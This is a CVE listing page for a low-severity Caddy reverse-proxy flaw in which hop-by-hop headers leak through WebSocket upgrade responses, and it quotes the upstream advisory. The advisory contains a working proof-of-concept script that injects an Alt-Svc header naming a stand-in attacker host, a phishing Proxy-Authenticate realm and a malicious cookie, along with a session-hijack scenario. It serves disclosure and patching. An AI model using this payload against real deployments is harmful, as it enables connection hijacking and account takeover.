HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 55458 caddy has an rfc 7230 61 compliance issue hop by
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Low severityCVE-2026-55458GHSA-8QX7-J2V2-X6Q5

Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak throughCVE-2026-55458

Answer in brief

CVE-2026-55458 records a Low severity vulnerability in Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through. The current sources do not mark it as known exploited. The current feed maps github.com/caddyserver/caddy/v2 (go). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Oct 28, 2026Updated Oct 28, 2026Source checked Oct 28, 2026First seen by HOL Oct 28, 2026Material review Oct 28, 2026
Upstream Advisory

Key facts

Risk
Low
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps github.com/caddyserver/caddy/v2 (go). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
github.com/caddyserver/caddy/v2go<=2.11.42.11.5

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for github.com/caddyserver/caddy/v2.
  2. 2Review the reported fix. Update github.com/caddyserver/caddy/v2 to 2.11.5 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Oct 28, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 28, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 28, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

### AI Disclosure This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand. ### Summary Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including `Alt-Svc`, `Keep-Alive`, `Proxy-Authenticate`, `Transfer-Encoding`, or `Trailer`, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades. An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via `Alt-Svc`, cookie injection via `Set-Cookie`, and proxy authentication phishing. The normal response path in `finalizeResponse` correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely. ### Details In `modules/caddyhttp/reverseproxy/reverseproxy.go`, the `finalizeResponse` method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client: ```go // reverseproxy.go:1194-1198 removeConnectionHeaders(res.Header) for _, h := range hopHeaders { res.Header.Del(h) } ``` However, the 101 Switching Protocols check at line 1187 returns before this stripping code: ```go // reverseproxy.go:1186-1192 if res.StatusCode == http.StatusSwitchingProtocols { var wg sync.WaitGroup h.handleUpgradeResponse(logger, &wg, rw, req, res) wg.Wait() return nil // <-- returns BEFORE removeConnectionHeaders and hopHeaders loop } ``` Inside `handleUpgradeResponse` (`streaming.go:60-91`), all upstream response headers are copied to the client without any hop-by-hop filtering: ```go // streaming.go:88-91 copyHeader(rw.Header(), res.Header) // copies ALL upstream headers normalizeWebsocketHeaders(rw.Header()) // only remaps Sec-WebSocket-* keys ``` The `normalizeWebsocketHeaders` function (line 714) only handles WebSocket-specific header key mapping (`Sec-Websocket-*` to `Sec-WebSocket-*`). It does not strip hop-by-hop headers. #### Hop-by-Hop Headers That Leak Through Defined at `reverseproxy.go:1681-1692`: ``` Alt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate, Proxy-Authorization, Te, Trailer, Transfer-Encoding, Upgrade ``` All 10 are stripped from normal responses. **None** are stripped from WebSocket upgrade responses. For HTTP/2 and HTTP/3 WebSocket connections (extended CONNECT with `:protocol: websocket`), Caddy converts the upstream's 101 into a `200 OK` for the client (`streaming.go:99-104`). The leaked headers arrive in a standard HTTP 200 response that browsers fully process, making `Alt-Svc` hijacking and `Set-Cookie` injection practically exploitable. Normal (200): `removeConnectionHeaders()` runs, `hopHeaders` loop runs -> headers stripped Upgrade (101): `handleUpgradeResponse()` runs, returns early -> headers are NOT stripped This is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping. ### PoC Caddy config: ``` :8080 { reverse_proxy localhost:8083 } ``` Script: ```python import socket UPSTREAM = ( b"HTTP/1.1 101 Switching Protocols\r\n" b"Upgrade: websocket\r\n" b"Connection: Upgrade\r\n" b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n" b"Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\r\n" b"Keep-Alive: timeout=999\r\n" b"Proxy-Authenticate: Basic realm=\"phish\"\r\n" b"Set-Cookie: injected=malicious; Path=/\r\n" b"\r\n" ) s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", 8083)) s.listen(1) conn, _ = s.accept() conn.send(UPSTREAM) ``` Curl: ```bash curl -v \ -H "Upgrade: websocket" \ -H "Connection: Upgrade" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ -H "Sec-WebSocket-Version: 13" \ http://localhost:8080/ws 2>&1 ``` Output: ``` < HTTP/1.1 101 Switching Protocols < Alt-Svc: h2="attacker.example.com:443"; ma=86400 < Connection: Upgrade < Keep-Alive: timeout=999 < Proxy-Authenticate: Basic realm="phish" < Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= < Server: Caddy < Set-Cookie: injected=malicious; Path=/ < Upgrade: websocket ``` `Alt-Svc`, `Keep-Alive`, and `Proxy-Authenticate` are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 §6.1. They all appear in the response. Same upstream, same headers but on a 200 response. Caddy strips `Alt-Svc` correctly: ```bash curl -v http://localhost:8080/ # Alt-Svc is absent ``` ### Impact This is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 §6.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries. Any Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue. How an attack might look: A company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/. Now every visitor to app.example.com gets the attacker's session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user. Caddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path. ### Suggested Fix I'll add my fix to the branch in this security advisory. ### Contact Details If you find this find worth your time you can contact me under [email protected] or +43 (677) 63 397 910. In case this is something that will go public I'd be happy to be mentioned under my real name, Dionis Ramadani. Thank you for taking the time, I hope this is something interesting for you.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • Echo: CSRF Protection Bypass via MethodOverride Rewriting POST to Safe MethodSame go ecosystem
  • Echo: middleware.Static: `%2F`-encoded path bypasses route/group middleware guarding a statically-served pathSame go ecosystem
  • Echo: Reverse Proxy Forwards Attacker-Supplied X-Real-IP to Upstream by DefaultSame go ecosystem
  • Echo: Reflected Cross-Site Scripting (XSS) via unsanitized JSONP callback in Context.JSONP / Context.JSONPBlobSame go ecosystem
  • Echo: Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default ConfigurationSame go ecosystem
  • Echo static file middleware route protection bypass via encoded dot-dot traversalSame go ecosystem

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
CWE-444
Source
GitHub Security Advisories
Source checked
Oct 28, 2026
References
3 linked sources
Open source record